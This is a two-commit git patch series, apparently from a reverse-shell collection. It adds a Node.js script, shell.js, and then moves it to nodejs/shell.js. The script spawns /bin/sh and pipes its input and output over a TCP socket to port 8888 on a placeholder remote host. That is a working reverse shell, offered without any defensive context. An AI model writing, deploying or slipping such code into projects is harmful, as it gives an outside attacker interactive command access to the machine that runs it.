From f0475d650c7b6176b55e1d3c4ca5969749c05399 Mon Sep 17 00:00:00 2001 From: shellfeel Date: Sat, 22 Dec 2018 19:23:22 +0800 Subject: [PATCH 1/2] =?UTF-8?q?=E5=A2=9E=E5=8A=A0nodejs=E7=9A=84shell?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- shell.js | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 shell.js diff --git a/shell.js b/shell.js new file mode 100644 index 0000000..83e7adc --- /dev/null +++ b/shell.js @@ -0,0 +1,12 @@ +(function(){ + var net = require("net"), + cp = require("child_process"), + sh = cp.spawn("/bin/sh",[]); + var client = new net.Socket(); + client.connect(8888,"xxx.xxx.xxx.xxx",function(){ + client.pipe(sh.stdin); + sh.stdout.pipe(client); + sh.stderr.pipe(client); + }); + return /a/; +})(); \ No newline at end of file From 0bb079d1c77b3ff34eabff536161bfaeca6cef8f Mon Sep 17 00:00:00 2001 From: 9eek Date: Sat, 22 Dec 2018 19:30:19 +0800 Subject: [PATCH 2/2] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=E4=BA=86nodejs=20?= =?UTF-8?q?=E5=BC=80=E5=90=AFbash=E7=9A=84shell?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- shell.js => nodejs/shell.js | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) rename shell.js => nodejs/shell.js (96%) diff --git a/shell.js b/nodejs/shell.js similarity index 96% rename from shell.js rename to nodejs/shell.js index 83e7adc..e90e5d4 100644 --- a/shell.js +++ b/nodejs/shell.js @@ -1,12 +1,12 @@ -(function(){ - var net = require("net"), - cp = require("child_process"), - sh = cp.spawn("/bin/sh",[]); - var client = new net.Socket(); - client.connect(8888,"xxx.xxx.xxx.xxx",function(){ - client.pipe(sh.stdin); - sh.stdout.pipe(client); - sh.stderr.pipe(client); - }); - return /a/; +(function(){ + var net = require("net"), + cp = require("child_process"), + sh = cp.spawn("/bin/sh",[]); + var client = new net.Socket(); + client.connect(8888,"xxx.xxx.xxx.xxx",function(){ + client.pipe(sh.stdin); + sh.stdout.pipe(client); + sh.stderr.pipe(client); + }); + return /a/; })(); \ No newline at end of file